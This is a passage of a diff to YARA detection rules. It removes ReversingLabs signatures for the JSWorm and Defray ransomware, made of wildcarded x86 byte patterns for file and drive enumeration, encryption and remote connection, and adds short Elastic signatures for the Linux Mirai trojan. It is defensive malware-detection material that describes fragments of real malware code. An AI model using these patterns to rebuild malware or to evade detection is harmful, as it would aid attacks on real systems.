-            ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ??
-            ?? ?? ?? 8B 45 ?? 5E 5F C9 C2
-        }
-		$remote_connection = {
-            55 8B EC 81 C4 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A
-            ?? 6A ?? 6A ?? FF 75 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 89 85 ?? ?? ?? ?? 0F
-            84 ?? ?? ?? ?? 8D 5D ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 23 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 74 ??
-            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? FF B5 ?? ?? ?? ?? 0B C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ??
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? C9 C2
-        }
+		$a = { 24 1C 8B 44 24 20 0F B6 D0 C1 E8 08 89 54 24 24 89 44 24 20 BA 01 00 }
 
 	condition:
-		uint16(0)==0x5A4D and ($remote_connection and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Jsworm : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_D18B3463 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects JSWorm ransomware."
-		author = "ReversingLabs"
-		id = "a4702cc3-1e08-5631-b832-5d28cb92a819"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.JSWorm.yara#L1-L93"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8ba5e2f29f5f06e6e6714bbba1129862da8c3a83bf7f296818eddee2593cae38"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d18b3463-1b5e-49e1-9ae8-1d63a10a1ccc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1047-L1065"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cd86534d709877ec737ceb016b2a5889d2e3562ffa45a278bc615838c2e9ebc3"
+		logic_hash = "f906c6f9baae6d6fa3f42e84607549bae44ed9ca847fd916d04f2671eef1caa1"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "JSWorm"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "4b3d3bb65db2cdb768d91c50928081780f206208e952c74f191d8bc481ce19c6"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ??
-            0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 45 ?? ?? 8B 4E ?? 8B 56 ?? 3B CA 73
-            ?? 8D 41 ?? 89 46 ?? 8B C6 83 FA ?? 72 ?? 8B 06 C7 04 48 ?? ?? ?? ?? EB ?? 6A ?? C6
-            85 ?? ?? ?? ?? ?? 8B CE FF B5 ?? ?? ?? ?? 6A ?? E8
-        }
-		$find_drives = {
-            68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 0F 84 ??
-            ?? ?? ?? 8B CE C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01
-            41 84 C0 75 ?? 2B CA 51 56 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B
-            CC 89 65 ?? 33 C0 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66
-            89 01 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 55 ?? 8B CC E8 ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B
-            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8
-            ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 46 03 F0 38 0E 0F 85
-            ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
-            5D C3 E8 ?? ?? ?? ?? E8
-        }
-		$encrypt_files_p1 = {
-            8B 00 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F0 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ??
-            42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
-            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FA ??
-            72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ??
-            83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            CB C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 E6 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89
-            85 ?? ?? ?? ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA
-            ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
-            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
-            85 ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA
-            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 53 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ??
-            0F 8C ?? ?? ?? ?? 7F ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53
-            FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8B F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ??
-            B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? F3 A5 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 33 F6
-        }
-		$encrypt_files_p2 = {
-            8B 86 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
-            86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 86 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ??
-            6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53
-            FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B F4 8B CA 33 C0
-            C7 46 ?? ?? ?? ?? ?? 8D 79 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 66 8B 01 83 C1 ?? 66 85
-            C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 8B 1D ?? ?? ?? ?? FF D3 6A ?? 8D 45 ??
-            50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? F3 A5 8B 45 ?? 8D 8D ?? ?? ?? ?? 50 68
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56
-            FF D3 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15
-        }
+		$a = { DF 77 95 8D 42 FA 3C 01 76 8E 80 FA 0B 74 89 80 FA 15 74 84 80 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_Fe721Dc5 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "fe721dc5-c2bc-4fa6-bdbc-589c6e033e6b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1067-L1084"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e9312eefb5f14a27d96e973139e45098c2f62a24d5254ca24dea64b9888a4448"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "ab7f571a3a3f6b50b9e120612b3cc34d654fc824429a2971054ca0d078ecb983"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 89 18 EB E1 57 83 EC 08 8B 7C 24 10 8B 4C 24 14 8B 54 24 18 53 }
 
 	condition:
-		uint16(0)==0x5A4D and $find_drives and $find_files and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Defray : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_575F5Bc8 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Defray ransomware."
-		author = "ReversingLabs"
-		id = "bc9e2dfe-168b-5b99-8523-07bfdcba44f2"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Defray.yara#L1-L157"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "82d883c77f49e50edbc7af05a108d4d54a46dca7661e4d0cd8aeffa19cb8df98"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "575f5bc8-b848-4db4-a99c-132d4d2bc8a4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1086-L1103"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "dec143d096f5774f297ce90ef664ae50c40ae4f87843bbb34e496565c0faf3b2"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Defray"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 33
-            F6 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D9 56 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83
-            C4 ?? 2B D3 8B CB 89 95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D
-            BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C6 75 ?? BE ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 53 A5 A5 66 A5 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ??
-            83 FB ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ??
-            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C6
-            EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B
-            10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66
-            85 D2 75 ?? 8B C6 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B
-            95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 83 EF
-            ?? 33 C9 66 8B 47 ?? 8D 7F ?? 66 3B C1 75 ?? A1 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 07
-            8B F2 66 8B 02 83 C2 ?? 66 3B C1 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ??
-            83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F6 85 ?? ?? ?? ?? ?? F3
-            A4 74 ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? F7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 75 ?? 8B 8D ?? ?? ?? ?? 66 8B 85 ?? ?? ?? ?? 66 89 04 59 43 89 1D ?? ??
-            ?? ?? 33 F6 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$find_special_folders = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 BE ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 56 33 DB 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ??
-            ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 59 F3 A5 68
-            ?? ?? ?? ?? 53 50 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D
-            BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 50 53 FF D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF
-            D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83
-            C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B
-            47 ?? 83 C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF
-            ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? A5 A5 A5 A5
-            66 A5 E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$remote_connection = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 89 85 ??
-            ?? ?? ?? 33 DB 8B 45 ?? 8B FA 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53
-            50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? A0 ?? ?? ?? ?? 88 45 ?? 8D 85 ??
-            ?? ?? ?? 53 53 53 53 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ??
-            85 DB 74 ?? 33 C0 50 50 6A ?? 50 50 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 8B F8 85
-            FF 74 ?? 33 C0 50 68 ?? ?? ?? ?? 50 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50
-            57 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 95 ?? ?? ?? ?? 33 C9 85 D2 74 ?? 8B CA 8D
-            41 ?? 89 85 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 51 52 6A ?? 6A ?? 53
-            FF 15 ?? ?? ?? ?? 53 FF D6 8B 9D ?? ?? ?? ?? 57 FF D6 53 FF D6 8B 4D ?? 5F 5E 33 CD
-            5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$encrypt_files_1 = {
-            55 8B EC 51 51 83 4D ?? ?? 83 4D ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68
-            ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 6A ?? 58 EB ?? 56 8D 45 ?? 50
-            57 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 6A ?? EB ?? 8B 75 ?? 3B C6 0F 42 F0 83 7D
-            ?? ?? 74 ?? 6A ?? 8D 45 ?? 50 56 FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 5E
-            57 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 3B 75 ?? 6A ?? 58 0F 45 F0 8B C6 EB
-            ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5E 5F 8B E5 5D C2
-        }
-		$encrypt_files_2_p1 = {
-            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 C0 89 85 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? 50 89 85 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 59 33 C0 8D 7D ??
-            F3 AB 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 74 ?? FF 15 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? 83 CE ?? EB ?? 6A ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85
-            C0 74 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5E 6A ?? 8B D6 59 E8 ?? ?? ?? ??
-            59 59 E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 75 ?? 6A ?? 5E E9 ?? ?? ?? ?? 80 BD ??
-            ?? ?? ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 3B F0 0F 47 F0 8D 85 ?? ?? ?? ?? 50
-            56 8B C8 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ??
-            ?? 59 59 BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ??
-            FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59 59 6A ?? E9
-            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 55 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C7 8B DF 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 74 ?? 8B
-        }
-		$encrypt_files_2_p2 = {
-            B5 ?? ?? ?? ?? 43 46 8B C3 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 75 ?? 89 B5 ?? ?? ??
